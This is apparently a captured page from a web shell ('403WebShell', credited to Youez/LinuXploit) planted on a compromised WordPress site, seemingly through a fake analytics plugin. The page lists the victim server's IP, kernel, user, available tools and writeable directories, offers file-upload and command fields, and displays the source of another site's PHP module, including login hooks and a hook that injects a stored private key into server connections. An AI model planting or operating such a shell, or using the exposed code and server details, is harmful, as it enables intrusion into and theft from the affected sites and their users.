Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_www/modules/patientapps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_www/modules/patientapps/main.php
<?php

namespace modules\patientapps;

// To do: add Deployable flag to server record
//   add 'Category' entry in bug tracker when new website created

class main extends \moduleMain {
	use \modules\input\traits {
			\modules\input\traits::__construct as __ConstructInput;
		}
	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}

	private $model_patientapps;
    
    private $active = FALSE;
    private $name = FALSE;
    private $email = FALSE;

	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructOutput();
		$this->__ConstructInput();
		$this->uid = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_id'] : 0;
        $this->active = isset($_SESSION['domain']) ? $_SESSION['domain'] : FALSE;
        $this->name = isset($_SESSION['x-name']) ? $_SESSION['x-name'] : FALSE;
        $this->email = isset($_SESSION['x-email']) ? $_SESSION['x-email'] : FALSE;
	}

	public function Activate() {
        hook_add('uri', [$this, '__homepage'], 1);
        hook_add('login.verify', [$this, '__verify_login'], 2);     // is a PAI user logging in?
        hook_add('login.create', [$this, '__login_create'], 2 );	// autocreate pai logins
        hook_add('server.connect', [$this, '__server_connect'], 2); // add credentials
        hook_add('html.prepare', [$this, '__html_prepare']);
	}

	public function __html_prepare($modulemain) {
		$base = $modulemain->StaticUriModule(__DIR__);
        $modulemain->IncludeFile('/static/sysend.min.js');
	}

	public function __login_create(&$result, $param) {
        list($username, $domain) = explode('@', $param->email, 2);
        if ($domain == 'patientappsinc.com') {
            $param->level = 3;
        }
    }

    public function __homepage(&$uri, $__INPUT, $__OUTPUT) {
        if (($p = strpos($uri, '?')) !== FALSE) {
            $param = substr($uri, $p);
            $uri = substr($uri, 0, $p);
        } else {
            $param = '';
        }
        if ($uri == '/') {
            $uri = '/patientapps/index' . $param;
        }
	}
	
	final function iframe_deploy($hash) {
		die("\nDeploy disabled\n");
	}
		
	final function thumbnail($filename) {
		$filename = basename($filename);
		$wd = $this->param('wd', 190);
		$pai_output = $this->loadModel('pai_output');
		$pai_output->SourceFolder('source/src');
		list($header, $data) = $pai_output->GenerateThumbnail($filename, $wd);
		header('Content-type: ' . $header);
		echo $data;
		exit;
	}
    
/*	
	// used to display Similar images
    final function img($hash) {
        $hash = str_replace(['..', ';', '<', '\\', '>'], '', $hash);
        $this->model_patientapps = $this->LoadModel('patientapps_model');
		list($header, $data) = $this->model_patientapps->ImageCache($hash);
		header('Content-type: ' . $header);
		echo $data;
        exit;
    }
*/
    public function __verify_login(&$result, $param) {
        list($user, $domain) = explode('@', $param->email, 2);
        if (!empty($param->verified) && $domain == 'patientappsinc.com') {
            $_SESSION['domain']   = $this->active = $domain;
            $_SESSION['x-name']   = $this->name = $param->name;
            $_SESSION['x-email']  = $this->email = $param->email;
        } else {
            $this->active = FALSE;
        }
    }


	public function __server_connect(&$result, $data) {
		if ($data->source == 'agentLinux' && isset($data->server_ip)) {
            $data->username    = $this->settings['username'];
            $data->private_key = $this->settings['userkey'];
        }
    }
	
	// https://patientapps.co/~/patientapps/stuff
	final function stuff() {
		while (ob_get_level() > 0) {
			ob_end_flush();
		}
		header('Content-type: text/plain');
		die("\nDisabled\n");
		$model_target = $this->loadModel('target_model');


		// load the old files into the database, update filesystem
		$source = HOME . '/storage/patientapps/audio';
		$tempdir = HOME . '/storage/patientapps/temps';
		$model_target->Language('en')
				->TargetDirectory($tempdir);
		
		$files = glob("$source/*.json");
		foreach($files as $filename) {
			echo "Processing $filename\n";
			flush();
			$contents = json_decode(file_get_contents($filename), TRUE);
			$basename = pathinfo($filename, PATHINFO_FILENAME);
			$model_target->Import($basename, $contents);
		}
//		var_dump($files);
		die("\nDone\n");

		
		// target is our temporary preview folder
		$target = '/var/www/patientapps_www/storage/patientapps/audio';
		
		$model_target->TargetDirectory($target)
					 ->ProcedureCode('pai-pncl')
			;
		die("\nDone\n");
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit